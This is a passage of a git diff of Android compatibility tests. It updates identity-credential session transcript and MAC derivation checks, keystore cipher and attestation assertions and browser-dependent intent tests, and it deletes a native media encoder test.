Log.d(TAG, "Checking whether " + PackageManager.FEATURE_VULKAN_DEQP_LEVEL
+ " has an acceptable value");
diff --git a/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java b/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
index 1ed9b94..c5c5cd1 100644
--- a/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
@@ -112,40 +112,7 @@
KeyPair ephemeralKeyPair = credential.createEphemeralKeyPair();
credential.setReaderEphemeralPublicKey(readerEphemeralKeyPair.getPublic());
- // However it should fail if device authentication *is* requested. Also check that.
- //
- // First, create a fake sessionTranscript... we expect things to fail with
- // with ERROR_EPHEMERAL_PUBLIC_KEY_NOT_FOUND because the correct ephemeral key is
- // not in the right place.
- ByteArrayOutputStream stBaos = new ByteArrayOutputStream();
- try {
- new CborEncoder(stBaos).encode(new CborBuilder()
- .addArray()
- .add(new byte[]{0x01, 0x02}) // The device engagement structure, encoded
- .add(new byte[]{0x03, 0x04}) // Reader ephemeral public key, encoded
- .end()
- .build());
- } catch (CborException e) {
- e.printStackTrace();
- assertTrue(false);
- }
- byte[] sessionTranscript = stBaos.toByteArray();
- try {
- rd = credential.getEntries(
- Util.createItemsRequest(entriesToRequest, null),
- entriesToRequest,
- sessionTranscript,
- null);
- assertTrue(false);
- } catch (EphemeralPublicKeyNotFoundException e) {
- // This is the expected path...
- } catch (IdentityCredentialException e) {
- e.printStackTrace();
- assertTrue(false);
- }
-
- // Now, correct the sessionTranscript
- sessionTranscript = Util.buildSessionTranscript(ephemeralKeyPair);
+ byte[] sessionTranscript = Util.buildSessionTranscript(ephemeralKeyPair);
// Then check that getEntries() throw NoAuthenticationKeyAvailableException (_even_ when
// allowing using exhausted keys).
try {
@@ -222,6 +189,37 @@
}
assertEquals(3, certificates.size());
+ // Now that we've provisioned authentication keys, presentation will no longer fail with
+ // NoAuthenticationKeyAvailableException ... So now we can try a sessionTranscript without
+ // the ephemeral public key that was created in the Secure Area and check it fails with
+ // EphemeralPublicKeyNotFoundException instead...
+ ByteArrayOutputStream stBaos = new ByteArrayOutputStream();
+ try {
+ new CborEncoder(stBaos).encode(new CborBuilder()
+ .addArray()
+ .add(new byte[]{0x01, 0x02}) // The device engagement structure, encoded
+ .add(new byte[]{0x03, 0x04}) // Reader ephemeral public key, encoded
+ .end()
+ .build());
+ } catch (CborException e) {
+ e.printStackTrace();
+ assertTrue(false);
+ }
+ byte[] wrongSessionTranscript = stBaos.toByteArray();
+ try {
+ rd = credential.getEntries(
+ Util.createItemsRequest(entriesToRequest, null),
+ entriesToRequest,
+ wrongSessionTranscript,
+ null);
+ assertTrue(false);
+ } catch (EphemeralPublicKeyNotFoundException e) {
+ // This is the expected path...
+ } catch (IdentityCredentialException e) {
+ e.printStackTrace();
+ assertTrue(false);
+ }
+
// Now use one of the keys...
entriesToRequest = new LinkedHashMap<>();
entriesToRequest.put("org.iso.18013-5.2019",
@@ -270,10 +268,13 @@
// Calculate the MAC by deriving the key using ECDH and HKDF.
SecretKey eMacKey = Util.calcEMacKeyForReader(
key0Cert.getPublicKey(),
- readerEphemeralKeyPair.getPrivate());
+ readerEphemeralKeyPair.getPrivate(),
+ sessionTranscript);
+ byte[] deviceAuthenticationBytes =
+ Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
byte[] expectedMac = Util.coseMac0(eMacKey,
- new byte[0], // payload
- deviceAuthenticationCbor); // additionalData
+ new byte[0], // payload
+ deviceAuthenticationBytes); // detached content
// Then compare it with what the TA produced.
assertArrayEquals(expectedMac, rd.getMessageAuthenticationCode());
@@ -306,10 +307,13 @@
resultCbor);
eMacKey = Util.calcEMacKeyForReader(
key4Cert.getPublicKey(),
- readerEphemeralKeyPair.getPrivate());
+ readerEphemeralKeyPair.getPrivate(),
+ sessionTranscript);
+ deviceAuthenticationBytes =
+ Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
expectedMac = Util.coseMac0(eMacKey,
- new byte[0], // payload
- deviceAuthenticationCbor); // additionalData
+ new byte[0], // payload
+ deviceAuthenticationBytes); // detached content
assertArrayEquals(expectedMac, rd.getMessageAuthenticationCode());
// And again.... this time key0 should have been used. Check it.
@@ -438,10 +442,13 @@
resultCbor);
eMacKey = Util.calcEMacKeyForReader(
keyNewCert.getPublicKey(),
- readerEphemeralKeyPair.getPrivate());
+ readerEphemeralKeyPair.getPrivate(),
+ sessionTranscript);
+ deviceAuthenticationBytes =
+ Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
expectedMac = Util.coseMac0(eMacKey,
- new byte[0], // payload
- deviceAuthenticationCbor); // additionalData
+ new byte[0], // payload
+ deviceAuthenticationBytes); // detached content
assertArrayEquals(expectedMac, rd.getMessageAuthenticationCode());
// ... and we're done. Clean up after ourselves.
diff --git a/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java b/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
index 737f7719..ce5e311 100644
--- a/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
@@ -440,8 +440,8 @@
byte[] sessionTranscriptBytes = Util.buildSessionTranscript(ephemeralKeyPair);
// Finally, create the structure that the reader signs, and sign it.
- byte[] dataToBeSignedByReader = Util.buildReaderAuthenticationCbor(sessionTranscriptBytes,
- requestMessage);
+ byte[] dataToBeSignedByReader =
+ Util.buildReaderAuthenticationBytesCbor(sessionTranscriptBytes, requestMessage);
byte[] readerSignature = Util.coseSign1Sign(readerKeyToSignWith.getPrivate(),
null, // payload
dataToBeSignedByReader, // detached content
diff --git a/tests/tests/identity/src/android/security/identity/cts/Util.java b/tests/tests/identity/src/android/security/identity/cts/Util.java
index 2586c65..df9a300 100644
--- a/tests/tests/identity/src/android/security/identity/cts/Util.java
+++ b/tests/tests/identity/src/android/security/identity/cts/Util.java
@@ -922,11 +922,11 @@
}
static byte[] buildDeviceAuthenticationCbor(String docType,
- byte[] sessionTranscriptBytes,
+ byte[] encodedSessionTranscript,
byte[] deviceNameSpacesBytes) {
ByteArrayOutputStream daBaos = new ByteArrayOutputStream();
try {
- ByteArrayInputStream bais = new ByteArrayInputStream(sessionTranscriptBytes);
+ ByteArrayInputStream bais = new ByteArrayInputStream(encodedSessionTranscript);
List<DataItem> dataItems = null;
dataItems = new CborDecoder(bais).decode();
DataItem sessionTranscript = dataItems.get(0);
@@ -946,13 +946,13 @@
return daBaos.toByteArray();
}
- static byte[] buildReaderAuthenticationCbor(
- byte[] sessionTranscriptBytes,
+ static byte[] buildReaderAuthenticationBytesCbor(
+ byte[] encodedSessionTranscript,
byte[] requestMessageBytes) {
ByteArrayOutputStream daBaos = new ByteArrayOutputStream();
try {
- ByteArrayInputStream bais = new ByteArrayInputStream(sessionTranscriptBytes);
+ ByteArrayInputStream bais = new ByteArrayInputStream(encodedSessionTranscript);
List<DataItem> dataItems = null;
dataItems = new CborDecoder(bais).decode();
DataItem sessionTranscript = dataItems.get(0);
@@ -968,22 +968,49 @@
} catch (CborException e) {
throw new RuntimeException("Error encoding ReaderAuthentication", e);
}
- return daBaos.toByteArray();
+ byte[] readerAuthentication = daBaos.toByteArray();
+ return Util.prependSemanticTagForEncodedCbor(readerAuthentication);
+ }
+
+ static byte[] prependSemanticTagForEncodedCbor(byte[] encodedCbor) {
+ ByteArrayOutputStream baos = new ByteArrayOutputStream();
+ try {
+ ByteString taggedBytestring = new ByteString(encodedCbor);
+ taggedBytestring.setTag(CBOR_SEMANTIC_TAG_ENCODED_CBOR);
+ new CborEncoder(baos).encode(taggedBytestring);
+ } catch (CborException e) {
+ throw new RuntimeException("Error encoding with semantic tag for CBOR encoding", e);
+ }
+ return baos.toByteArray();
+ }
+
+ static byte[] concatArrays(byte[] a, byte[] b) {
+ byte[] ret = new byte[a.length + b.length];
+ System.arraycopy(a, 0, ret, 0, a.length);
+ System.arraycopy(b, 0, ret, a.length, b.length);
+ return ret;
}
static SecretKey calcEMacKeyForReader(PublicKey authenticationPublicKey,
- PrivateKey ephemeralReaderPrivateKey) {
+ PrivateKey ephemeralReaderPrivateKey,
+ byte[] encodedSessionTranscript) {
try {
KeyAgreement ka = KeyAgreement.getInstance("ECDH");
ka.init(ephemeralReaderPrivateKey);
ka.doPhase(authenticationPublicKey, true);
byte[] sharedSecret = ka.generateSecret();
+ byte[] sessionTranscriptBytes =
+ Util.prependSemanticTagForEncodedCbor(encodedSessionTranscript);
+ byte[] sharedSecretWithSessionTranscriptBytes =
+ Util.concatArrays(sharedSecret, sessionTranscriptBytes);
+
byte[] salt = new byte[1];
byte[] info = new byte[0];
salt[0] = 0x00;
- byte[] derivedKey = Util.computeHkdf("HmacSha256", sharedSecret, salt, info, 32);
+ byte[] derivedKey = Util.computeHkdf("HmacSha256",
+ sharedSecretWithSessionTranscriptBytes, salt, info, 32);
SecretKey secretKey = new SecretKeySpec(derivedKey, "");
return secretKey;
} catch (InvalidKeyException
diff --git a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
index 0946147..e3fbad5 100644
--- a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
@@ -283,6 +283,12 @@
mLockCredential.gotoKeyguard();
mLockCredential.enterAndConfirmLockCredential();
launchHomeActivity();
+ KeyguardManager keyguardManager = (KeyguardManager)getContext().getSystemService(
+ Context.KEYGUARD_SERVICE);
+ for (int i = 0; i < 25 && keyguardManager.isDeviceLocked(); i++) {
+ SystemClock.sleep(200);
+ }
+ assertFalse(keyguardManager.isDeviceLocked());
}
@Override
@@ -424,6 +430,59 @@
}
}
+ /*
+ * This test performs a round trip en/decryption. It does so while the current thread
+ * is in interrupted state which cannot be signaled to the user of the Java Crypto
+ * API.
+ */
+ public void testEncryptsAndDecryptsInterrupted()
+ throws Exception {
+ Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
+ assertNotNull(provider);
+ final byte[] originalPlaintext = EmptyArray.BYTE;
+ for (String algorithm : EXPECTED_ALGORITHMS) {
+ for (ImportedKey key : importKatKeys(
+ algorithm,
+ KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT,
+ false)) {
+ try {
+ Key encryptionKey = key.getKeystoreBackedEncryptionKey();
+ byte[] plaintext = truncatePlaintextIfNecessary(
+ algorithm, encryptionKey, originalPlaintext);
+ if (plaintext == null) {
+ // Key is too short to encrypt anything using this transformation
+ continue;
+ }
+ Cipher cipher = Cipher.getInstance(algorithm, provider);
+ Thread.currentThread().interrupt();
+ cipher.init(Cipher.ENCRYPT_MODE, encryptionKey);
+ AlgorithmParameters params = cipher.getParameters();
+ byte[] ciphertext = cipher.doFinal(plaintext);
+ byte[] expectedPlaintext = plaintext;
+ if ("RSA/ECB/NoPadding".equalsIgnoreCase(algorithm)) {
+ // RSA decryption without padding left-pads resulting plaintext with NUL
+ // bytes to the length of RSA modulus.
+ int modulusLengthBytes = (TestUtils.getKeySizeBits(encryptionKey) + 7) / 8;
+ expectedPlaintext = TestUtils.leftPadWithZeroBytes(
+ expectedPlaintext, modulusLengthBytes);
+ }
+
+ cipher = Cipher.getInstance(algorithm, provider);
+ Key decryptionKey = key.getKeystoreBackedDecryptionKey();
+ cipher.init(Cipher.DECRYPT_MODE, decryptionKey, params);
+ byte[] actualPlaintext = cipher.doFinal(ciphertext);
+ assertTrue(Thread.currentThread().interrupted());
+ MoreAsserts.assertEquals(expectedPlaintext, actualPlaintext);
+ } catch (Throwable e) {
+ throw new RuntimeException(
+ "Failed for " + algorithm + " with key " + key.getAlias(),
+ e);
+ }
+ }
+ }
+ }
+
+
private boolean isDecryptValid(byte[] expectedPlaintext, byte[] ciphertext, Cipher cipher,
AlgorithmParameters params, ImportedKey key) {
try {
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 46592ca..55ba086 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -1105,17 +1105,16 @@
assertTrue(
signedCertIssuer.toASN1Object().equals(signingCertSubject.toASN1Object()));
+ X500Name signedCertSubject =
+ new JcaX509CertificateHolder(x509PrevCert).getSubject();
if (i == 1) {
// First cert should have subject "CN=Android Keystore Key".
- X500Name signedCertSubject =
- new JcaX509CertificateHolder(x509PrevCert).getSubject();
assertEquals(signedCertSubject, new X500Name("CN=Android Keystore Key"));
} else {
// Only strongbox implementations should have strongbox in the subject line
- assertEquals(expectStrongBox, x509CurrCert.getSubjectDN()
- .getName()
- .toLowerCase()
- .contains("strongbox"));
+ assertEquals(expectStrongBox, signedCertSubject.toString()
+ .toLowerCase()
+ .contains("strongbox"));
}
} catch (InvalidKeyException | CertificateException | NoSuchAlgorithmException
| NoSuchProviderException | SignatureException e) {
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
index 40970f5..c6b559a 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
@@ -916,7 +916,7 @@
MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getSignaturePaddings()));
MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getEncryptionPaddings()));
assertFalse(keyInfo.isUserAuthenticationRequired());
- assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
+ assertEquals(0, keyInfo.getUserAuthenticationValidityDurationSeconds());
}
// Strongbox has more restrictions on key properties than general keystore.
@@ -987,7 +987,7 @@
MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getSignaturePaddings()));
MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getEncryptionPaddings()));
assertFalse(keyInfo.isUserAuthenticationRequired());
- assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
+ assertEquals(0, keyInfo.getUserAuthenticationValidityDurationSeconds());
}
public void testGenerate_RSA_ModernSpec_AsCustomAsPossible() throws Exception {
@@ -1069,7 +1069,7 @@
KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1);
assertFalse(keyInfo.isUserAuthenticationRequired());
- assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
+ assertEquals(0, keyInfo.getUserAuthenticationValidityDurationSeconds());
}
// Strongbox has more restrictions on key properties than general keystore.
@@ -1159,7 +1159,7 @@
KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1);
assertFalse(keyInfo.isUserAuthenticationRequired());
- assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
+ assertEquals(0, keyInfo.getUserAuthenticationValidityDurationSeconds());
}
public void testGenerate_EC_ModernSpec_UsableForTLSPeerAuth() throws Exception {
diff --git a/tests/tests/match_flags/Android.bp b/tests/tests/match_flags/Android.bp
index 900f3e9..b29d3e0 100644
--- a/tests/tests/match_flags/Android.bp
+++ b/tests/tests/match_flags/Android.bp
@@ -28,5 +28,5 @@
],
srcs: ["src/**/*.java"],
- sdk_version: "test_current",
+ sdk_version: "system_current",
}
diff --git a/tests/tests/match_flags/AndroidManifest.xml b/tests/tests/match_flags/AndroidManifest.xml
index 1b6cb42..2878bd5 100644
--- a/tests/tests/match_flags/AndroidManifest.xml
+++ b/tests/tests/match_flags/AndroidManifest.xml
@@ -18,6 +18,8 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.matchflags.cts">
+ <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+
<application>
<uses-library android:name="android.test.runner" />
</application>
diff --git a/tests/tests/match_flags/src/android/matchflags/cts/MatchFlagTests.java b/tests/tests/match_flags/src/android/matchflags/cts/MatchFlagTests.java
index ab6712a..74024df 100644
--- a/tests/tests/match_flags/src/android/matchflags/cts/MatchFlagTests.java
+++ b/tests/tests/match_flags/src/android/matchflags/cts/MatchFlagTests.java
@@ -16,43 +16,21 @@
package android.matchflags.cts;
-import static org.hamcrest.core.Is.is;
-import static org.junit.Assert.assertThat;
import static org.junit.Assert.fail;
import android.content.ActivityNotFoundException;
-import android.content.ComponentName;
-import android.content.Context;
import android.content.Intent;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
import android.net.Uri;
-import android.os.Bundle;
-import android.os.ConditionVariable;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.RemoteCallback;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.platform.app.InstrumentationRegistry;
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.hamcrest.core.IsNull;
-import org.junit.AfterClass;
-import org.junit.Assert;
-import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TestName;
import org.junit.runner.RunWith;
-import java.util.Objects;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.TimeoutException;
-import java.util.concurrent.atomic.AtomicReference;
-
@RunWith(AndroidJUnit4.class)
public class MatchFlagTests {
@@ -74,7 +52,16 @@
.addCategory(Intent.CATEGORY_BROWSABLE)
.setData(Uri.parse(ONLY_BROWSER_URI));
- startActivity(onlyBrowserIntent);
+ if (isBrowserPresent()) {
+ startActivity(onlyBrowserIntent);
+ } else {
+ try {
+ startActivity(onlyBrowserIntent);
+ fail("Device without browser should not launch browser only intent");
+ } catch (ActivityNotFoundException e) {
+ // hooray
+ }
+ }
Intent noBrowserWithBrowserOnlyIntent = new Intent(onlyBrowserIntent)
.addFlags(Intent.FLAG_ACTIVITY_REQUIRE_NON_BROWSER);
@@ -123,16 +110,30 @@
.addFlags(Intent.FLAG_ACTIVITY_REQUIRE_NON_BROWSER)
.addFlags(Intent.FLAG_ACTIVITY_REQUIRE_DEFAULT);
- // with non-browser, we'd expect the resolver
- // with require default, we'll get activity not found
- try {
+ if (isBrowserPresent()) {
+ // with non-browser, we'd expect the resolver
+ // with require default, we'll get activity not found
+ try {
+ startActivity(uniqueUriIntentNoBrowserRequireDefault);
+ fail("Should fail to launch when started with non-browser and require default");
+ } catch (ActivityNotFoundException e) {
+ // hooray!
+ }
+ } else {
+ // with non-browser, but no browser present, we'd get a single result
+ // with require default, we'll resolve to that single result
startActivity(uniqueUriIntentNoBrowserRequireDefault);
- fail("Should fail to launch when started with non-browser and require default");
- } catch (ActivityNotFoundException e) {
- // hooray!
}
}
+ private static boolean isBrowserPresent() {
+ return InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager()
+ .queryIntentActivities(new Intent(Intent.ACTION_VIEW).addCategory(
+ Intent.CATEGORY_BROWSABLE).setData(Uri.parse(ONLY_BROWSER_URI)),
+ 0 /* flags */)
+ .stream().anyMatch(resolveInfo -> resolveInfo.handleAllWebDataURI);
+ }
+
private static void startActivity(Intent onlyBrowserIntent) {
InstrumentationRegistry.getInstrumentation().getContext().startActivity(
onlyBrowserIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
diff --git a/tests/tests/media/libmediandkjni/Android.bp b/tests/tests/media/libmediandkjni/Android.bp
index e501daa..becae52 100644
--- a/tests/tests/media/libmediandkjni/Android.bp
+++ b/tests/tests/media/libmediandkjni/Android.bp
@@ -46,7 +46,6 @@
"native-media-jni.cpp",
"native_media_utils.cpp",
"native_media_decoder_source.cpp",
- "native_media_encoder_jni.cpp",
],
include_dirs: ["system/core/include"],
shared_libs: [
diff --git a/tests/tests/media/libmediandkjni/native_media_encoder_jni.cpp b/tests/tests/media/libmediandkjni/native_media_encoder_jni.cpp
deleted file mode 100644
index 2333ddd..0000000
--- a/tests/tests/media/libmediandkjni/native_media_encoder_jni.cpp
+++ /dev/null
@@ -1,412 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-//#define LOG_NDEBUG 0
-#define LOG_TAG "NativeMediaEnc"
-
-#include <stddef.h>
-#include <inttypes.h>
-#include <log/log.h>
-
-#include <assert.h>
-#include <jni.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <string.h>
-#include <unistd.h>
-#include <semaphore.h>
-#include <list>
-#include <memory>
-#include <string>
-
-#include <android/native_window_jni.h>
-
-#include "media/NdkMediaFormat.h"
-#include "media/NdkMediaExtractor.h"
-#include "media/NdkMediaCodec.h"
-#include "media/NdkMediaCrypto.h"
-#include "media/NdkMediaFormat.h"
-#include "media/NdkMediaMuxer.h"
-
-#include "native_media_source.h"
-using namespace Utils;
-
-class NativeEncoder : Thread {
-public:
-
- NativeEncoder(const std::string&);
- NativeEncoder(const NativeEncoder&) = delete;
- ~NativeEncoder();
- static std::shared_ptr<ANativeWindow> getPersistentSurface();
- std::shared_ptr<ANativeWindow> getSurface() const;
-
- Status prepare(std::unique_ptr<RunConfig> config, std::shared_ptr<ANativeWindow> anw = nullptr);
- Status start();
- Status waitForCompletion();
- Status validate();
-
- Status reset();
-
-protected:
- void run() override;
-
-private:
- std::shared_ptr<AMediaCodec> mEnc;
- std::shared_ptr<ANativeWindow> mLocalSurface; // the one created by createInputSurface()
- std::string mOutFileName;
- bool mStarted;
-
- Stats mStats;
- std::unique_ptr<RunConfig> mRunConfig;
-
-};
-
-NativeEncoder::NativeEncoder(const std::string& outFileName)
- : mEnc(nullptr),
- mLocalSurface(nullptr),
- mOutFileName(outFileName),
- mStarted(false) {
- mRunConfig = nullptr;
-}
-
-NativeEncoder::~NativeEncoder() {
- mEnc = nullptr;
- mLocalSurface = nullptr;
- mRunConfig = nullptr;
-}
-
-//static
-std::shared_ptr<ANativeWindow> NativeEncoder::getPersistentSurface() {
- ANativeWindow *ps;
- media_status_t ret = AMediaCodec_createPersistentInputSurface(&ps);
- if (ret != AMEDIA_OK) {
- ALOGE("Failed to create persistent surface !");
- return nullptr;
- }
- ALOGI("Encoder: created persistent surface %p", ps);
- return std::shared_ptr<ANativeWindow>(ps, deleter_ANativeWindow);
-}
-
-std::shared_ptr<ANativeWindow> NativeEncoder::getSurface() const {
- return mLocalSurface;
-}
-
-Status NativeEncoder::prepare(
- std::unique_ptr<RunConfig> runConfig, std::shared_ptr<ANativeWindow> surface) {
- assert(runConfig != nullptr);
- assert(runConfig->format() != nullptr);
-
- ALOGI("NativeEncoder::prepare");
- mRunConfig = std::move(runConfig);
-
- AMediaFormat *config = mRunConfig->format();
- ALOGI("Encoder format: %s", AMediaFormat_toString(config));
-
- const char *mime;
- AMediaFormat_getString(config, AMEDIAFORMAT_KEY_MIME, &mime);
-
- AMediaCodec *enc = AMediaCodec_createEncoderByType(mime);
- mEnc = std::shared_ptr<AMediaCodec>(enc, deleter_AMediaCodec);
-
- media_status_t status = AMediaCodec_configure(
- mEnc.get(), config, NULL, NULL /* crypto */, AMEDIACODEC_CONFIGURE_FLAG_ENCODE);
- if (status != AMEDIA_OK) {
- ALOGE("failed to configure encoder");
- return FAIL;
- }
-
- if (surface == nullptr) {
- ANativeWindow *anw;
- status = AMediaCodec_createInputSurface(mEnc.get(), &anw);
- mLocalSurface = std::shared_ptr<ANativeWindow>(anw, deleter_ANativeWindow);
- ALOGI("created input surface = %p", mLocalSurface.get());
- } else {
- ALOGI("setting persistent input surface %p", surface.get());
- status = AMediaCodec_setInputSurface(mEnc.get(), surface.get());
- }
-
- return status == AMEDIA_OK ? OK : FAIL;
-}
-
-Status NativeEncoder::start() {
- ALOGI("starting encoder..");
-
- media_status_t status = AMediaCodec_start(mEnc.get());
- if (status != AMEDIA_OK) {
- ALOGE("failed to start decoder");
- return FAIL;
- }
- if (startThread() != OK) {
- return FAIL;
- }
- mStarted = true;
- return OK;
-}
-
-Status NativeEncoder::waitForCompletion() {
- joinThread();
- ALOGI("encoder done..");
- return OK;
-}
-
-Status NativeEncoder::validate() {
- const char *s = AMediaFormat_toString(mRunConfig->format());
- ALOGI("RESULT: Encoder Output Format: %s", s);
-
- {
- int32_t encodedFrames = mStats.frameCount();
- int32_t inputFrames = mRunConfig->frameCount();
- ALOGI("RESULT: input frames = %d, Encoded frames = %d",
- inputFrames, encodedFrames);
- if (encodedFrames != inputFrames) {
- ALOGE("RESULT: ERROR: output frame count does not match input");
- return FAIL;
- }
- }
-
- if (Validator::checkOverallBitrate(mStats, *mRunConfig) != OK) {
- ALOGE("Overall bitrate check failed!");
- return FAIL;
- }
- if (Validator::checkIntraPeriod(mStats, *mRunConfig) != OK) {
- ALOGE("I-period check failed!");
- return FAIL;
- }
- if (Validator::checkDynamicKeyFrames(mStats, *mRunConfig) != OK) {
- ALOGE("Dynamic-I-frame-request check failed!");
- return FAIL;
- }
- if (Validator::checkDynamicBitrate(mStats, *mRunConfig) != OK) {
- ALOGE("Dynamic-bitrate-update check failed!");
- return FAIL;
- }
-
- return OK;
-}
-
-Status NativeEncoder::reset() {
-
- mEnc = nullptr;
- return OK;
-}
-
-void NativeEncoder::run() {
-
- assert(mRunConfig != nullptr);
-
- int32_t framesToEncode = mRunConfig->frameCount();
- auto dynamicParams = mRunConfig->dynamicParams();
- auto paramItr = dynamicParams.begin();
- int32_t nFrameCount = 0;
-
- while (nFrameCount < framesToEncode) {
- // apply frame-specific settings
- for (;paramItr != dynamicParams.end()
- && (*paramItr)->frameNum() <= nFrameCount; ++paramItr) {
- DParamRef& p = *paramItr;
- if (p->frameNum() == nFrameCount) {
- assert(p->param() != nullptr);
- const char *s = AMediaFormat_toString(p->param());
- ALOGI("Encoder DynamicParam @frame[%d] - applying setting : %s",
- nFrameCount, s);
- AMediaCodec_setParameters(mEnc.get(), p->param());
- }
- }
-
- AMediaCodecBufferInfo info;
- int status = AMediaCodec_dequeueOutputBuffer(mEnc.get(), &info, 5000000);
- if (status >= 0) {
- ALOGV("got encoded buffer[%d] of size=%d @%lld us flags=%x",
- nFrameCount, info.size, (long long)info.presentationTimeUs, info.flags);
- mStats.add(info);
- AMediaCodec_releaseOutputBuffer(mEnc.get(), status, false);
- ++nFrameCount;
-
- if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
- ALOGV("saw EOS");
- break;
- }
-
- } else if (status == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
- } else if (status == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
- std::shared_ptr<AMediaFormat> format = std::shared_ptr<AMediaFormat>(
- AMediaCodec_getOutputFormat(mEnc.get()), deleter_AMediaFormat);
- mStats.setOutputFormat(format);
- ALOGV("format changed: %s", AMediaFormat_toString(format.get()));
- } else if (status == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
- ALOGE("no frame in 5 seconds, assume stuck");
- break;
- } else {
- ALOGV("Invalid status : %d", status);
- }
- }
-
- ALOGV("Encoder exited !");
- AMediaCodec_stop(mEnc.get());
-}
-
-static std::shared_ptr<AMediaFormat> createMediaFormat(
- std::string mime,
- int32_t w, int32_t h, int32_t colorFormat,
- int32_t bitrate, float framerate,
- int32_t i_interval) {
-
- std::shared_ptr<AMediaFormat> config(AMediaFormat_new(), deleter_AMediaFormat);
-
- AMediaFormat_setString(config.get(), AMEDIAFORMAT_KEY_MIME, mime.c_str());
- AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_WIDTH, w);
- AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_HEIGHT, h);
- AMediaFormat_setFloat(config.get(), AMEDIAFORMAT_KEY_FRAME_RATE, framerate);
- AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_BIT_RATE, bitrate);
- AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_I_FRAME_INTERVAL, i_interval);
- AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_COLOR_FORMAT, colorFormat);
-
- return config;
-}
-
-static int32_t getOptimalBitrate(int w, int h) {
- return (w * h <= 640 * 480) ? 1000000 :
- (w * h <= 1280 * 720) ? 2000000 :
- (w * h <= 1920 * 1080) ? 6000000 :
- 10000000;
-}
-
-//-----------------------------------------------------------------------------
-// Tests
-//-----------------------------------------------------------------------------
-static bool runNativeEncoderTest(
- JNIEnv *env, int fd, jlong offset, jlong fileSize,
- jstring jmime, int w, int h,
- const std::vector<DParamRef>& dynParams,
- int32_t numFrames,
- bool usePersistentSurface) {
-
- // If dynamic I-frame is requested, set large-enough i-period
- // so that auto I-frames do not interfere with the ones explicitly requested,
- // and hence simplify validation.
- bool hasDynamicSyncRequest = false;
-
- // If dynamic bitrate updates are requested, set bitrate mode to CBR to
- // ensure bitrate within 'window of two updates' remains constant
- bool hasDynamicBitrateChanges = false;
-
- for (const DParamRef &d : dynParams) {
- int32_t temp;
- if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, &temp)) {
- hasDynamicSyncRequest = true;
- } else if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, &temp)) {
- hasDynamicBitrateChanges = true;
- }
- }
-
- const char* cmime = env->GetStringUTFChars(jmime, nullptr);
- std::string mime = cmime;
- env->ReleaseStringUTFChars(jmime, cmime);
-
- float fps = 30.0f;
